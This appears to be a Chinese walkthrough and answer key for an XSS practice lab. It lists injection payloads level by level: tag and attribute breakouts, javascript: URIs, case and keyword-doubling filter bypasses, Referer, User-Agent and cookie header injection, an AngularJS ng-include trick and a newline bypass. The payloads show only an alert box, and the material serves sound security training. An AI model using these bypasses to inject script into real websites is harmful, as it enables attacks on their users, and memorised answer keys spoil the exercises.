1-9
No. | Answer |
---|---|
[1] | <script>alert(1)</script> |
[2] | "><script>alert(1)</script> 、"><img src=# onerror=alert(/xss/)> |
[3]. | ' onmousemove='alert(1) |
[4] | " onmousemove="alert(1) |
[5]. | "><a href=javascript:alert(1)>xss</a> |
[6]. | " ONmousemove="alert(1) 、"><a HrEf=javascript:alert(1)>xss</a> 、"><img Src=# onerror=alert(1)> |
[7] | "><a hrehreff=javascrscriptipt:alert(1)>xss</a> " oonnmousemove="alert(1) |
[8] | javascript:alert(1) 即javascript:alert(1) |
9 | javascript:alert(1)//http:// |
10
查看网页源码,有三个隐藏标签,删除标签中的hidden: ?t_sort=" onmousemove="alert(1)
11referer
?keyword=<script>alert(1)</script>
可以判断,使用了字符实体编码处理,不会弹窗的,另觅他径。
查看源代码,发现一个表单,和四个被hidden的input标签;取消hidden,输入1之后,再次查看源代码
据此判断第四个标签的value值是获取请求头的referer字段,可以用于xss
抓包修改请求头的referer字段,闭合标签就行。
Answer : " οnmοusemοve="alert(1)
12ua
显而易见,这题变成User-Agent,直接改成Answer就行
Answer : " οnmοusemοve="alert(1)
13cookie
这题稍微有些变化,因为cookie需要携带,才能正常访问
将cookie值改为:user=call+me+maybe%3F" οnmοusemοve="alert(1)
15
ng-include
是angular js中的东西,其作用相当于php的include函数。这里就是将1.gif这个文件给包含进来。
提交的参数被插入了<span>
标签的class 属性,使用了字符实体编码,无法通过闭合标签绕过。
此处用了ng-include指令的话,先了解一下其具体的用法。
- ng-include 指令用于包含外部的 HTML文件。
- 包含的内容将作为指定元素的子节点。
- ng-include 属性的值可以是一个表达式,返回一个文件名。
- 默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
- ng-include,如果单纯指定地址,必须要加引号
- ng-include,加载外部html,script标签中的内容不执行
- ng-include,加载外部html中含有style标签样式可以识别
既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件
?src='level1.php?name=<img src=1 onerror=alert(1)>'
level16
源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
- 绕过思路:可以用回车(
%0a
)来将它们分开。而且这里/
符号也被编码了,所以我们需要的是一个不需要闭合的标签
Answer : ?keyword=<img%0Asrc="1"%0Aonerror=alert(1)>
17—
下面几个好像是关于flash的,没什么做的兴趣了,就酱紫